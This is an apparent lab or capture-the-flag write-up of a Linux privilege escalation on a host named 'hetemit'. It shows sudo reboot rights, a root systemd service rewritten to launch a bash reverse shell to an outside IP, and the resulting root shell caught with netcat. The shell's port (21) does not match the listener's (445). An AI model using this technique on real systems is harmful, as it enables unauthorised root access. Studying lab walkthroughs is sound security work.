Priv Escalation

sudo -l

[cmeeks@hetemit tmp]$ sudo -l
sudo -l
Matching Defaults entries for cmeeks on hetemit:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User cmeeks may run the following commands on hetemit:
    (root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff

Our current user can execute the following commands as sudo without putting a password.

This means that this runs as root and we have the power to edit it.

cat /etc/systemd/system/pythonapp.service
[Unit]
Description=Python App
After=network-online.target

[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=bash -c 'bash -i >& /dev/tcp/192.168.49.135/21 0>&1'
TimeoutSec=30
RestartSec=15s
User=root
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure

Once we reboot the system since we have reboot permissions.

╰─ nc -lvnp 445
listening on [any] 445 ...
connect to [192.168.49.135] from (UNKNOWN) [192.168.135.117] 52176
bash: cannot set terminal process group (1212): Inappropriate ioctl for device
bash: no job control in this shell
[root@hetemit restjson_hetemit]# whoami
whoami
root
[root@hetemit restjson_hetemit]#